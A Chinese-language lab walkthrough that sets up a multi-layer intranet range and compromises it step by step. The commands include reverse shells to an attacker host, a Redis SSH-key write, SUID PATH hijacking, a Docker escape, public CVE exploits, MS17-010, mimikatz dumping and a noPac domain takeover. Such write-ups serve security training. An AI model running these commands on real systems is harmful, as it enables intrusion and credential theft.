环境说明
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
环境配置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。
第二层网络区域:
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。
第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动redis和nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
靶场涉及知识点
信息收集:
端口扫描
端口服务识别
漏洞利用:
漏洞搜索与利用
Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
Docker逃逸
通达OA v11.3 漏洞利用
Linux环境变量提权
Redis 未授权访问漏洞
Linux sudo权限提升(CVE-2021-3156)漏洞利用
SSH密钥利用
Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
MS14-068漏洞利用
构建隧道:
路由转发与代理
二层网络代理
三层网络代理
横向移动:
内网(域内)信息收集
MS17-010
Windows系统NTLM与用户凭据获取
SMB Relay攻击
Psexec远控利用
哈希传递攻击(PTH)
WMI利用
DCOM利用
权限维持:
黄金票据
白银票据
Sid History
本机:
192.168.236.61
kali:
192.168.236.254
web1:
外网网卡:192.168.236.62
内网网卡:192.168.52.10
web2:
外网网卡:192.168.52.20
内网网卡:192.168.93.10
PC1:
单网卡:192.168.52.30
PC2:
单网卡:192.168.93.40
windows server 2012(DC):
单网卡:192.168.93.30
外网打点
nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.236.62
81端口是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14)
6379端口为redis
Laravel Debug mode RCE(CVE-2021-3129)
exp工具链接:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
python3 laravel-CVE-2021-3129-EXP.py http://192.168.236.62:81(注意用http://192.168.236.62:81/会失败)
连接用哥斯拉3.0以下的版本才能连接成功
反弹shell到kali上
bash -c "bash -i >& /dev/tcp/192.168.236.254/10000 0>&1"
Redis未授权Getshell
直接连接redis,存在未授权
redis-cli -h 192.168.236.62
尝试写入公钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.236.62 -p 6379 -x set xxx
config set dir /root/.ssh
config set dbfilename authorized_keys
save
exit
ssh 192.168.2.54(发现双网卡,内网网段192.168.52.0/24)
上传iox,fscan(本机python开启http服务,目标机进行下载)
iox正向代理
iox proxy -l 2222
fscan扫描
fscan -h 192.168.52.0/24 -np -nopoc
这里的Laravel和上一层的一样打法,实际上是做了反向代理
环境变量提权
搜索带有suid的文件,发现home/jobs目录下有个shell文件,并且具有SUID权限
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
cd到/home/jobs目录下,运行一下这个文件,可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
反弹shell到kali上
bash -c "bash -i >& /dev/tcp/192.168.236.254/3333 0>&1"
发现执行不了ifconfig等命令,因为处于docker环境中,需要docker逃逸
特权模式逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹
mkdir test
mount /dev/sda1 /test
ls /test
到这里有两个思路:
1、写入计划任务(不可行)
2、写入公钥(可行)
写入公钥:
翻一下看看可不可以访问root目录或查看home有没有用户
有Ubuntu这个用户,就可以把我们自己生成的SSH密钥写入到/test/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器
ssh-keygen -f test
chmod 600 test
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo > /test/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys
然后ssh连接
ssh -i test [email protected](发现双网卡,内网网段192.168.93.0/24)
CVE-2021-3493
linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。
linux内核中的overlayfs文件系统中没有正确地验证用户名称空间和底层文件系统中文件功能的设置。由于非特权用户名称空间和Ubuntu内核中允许非特权覆盖的补丁的组合,攻击者可以使用它来获得更高的特权。
漏洞影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
exp地址:
https://github.com/briskets/CVE-2021-3493
git clone https://github.com/briskets/CVE-2021-3493
cd CVE-2021-3493
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
上传iox、fscan,iox正向代理,fscan扫描
可以看到192.168.93.40这台PC2存在MS17-010
MS17-010
192.168.93.40这台用方程式工具MS17-010成功创建用户
直接远程桌面连接,然后查看到存在域,然后上传mimikatz抓密码,可以抓到这台主机和域控的账号密码
privilege::debug
sekurlsa::logonpasswords
到这里已经得到PC2和DC的账号密码,且存在域whoamianony.org
net use网络映射连接域控
net use \\DC.WHOAMIANONY.ORG\ipc$ "Whoami2021" /user:"administrator"
然后本机可以直接远程连接域控
域内提权 (CVE-2021-42278 & CVE-2021-42287) 漏洞利用
参考文章:
https://blog.csdn.net/Captain_RB/article/details/125569452
python3 noPac.py -use-ldap whoamianony.org/bunny:Bunny2021 -dc-ip 192.168.93.30 -shell
Zerologon域攻击(CVE-2020-1472)
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限,成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
参考其他大佬文章,我这里没有复现
https://xz.aliyun.com/t/9574#toc-9
https://bbs.zkaq.cn/t/5415.html
版权归原作者 青果@ 所有, 如有侵权,请联系我们删除。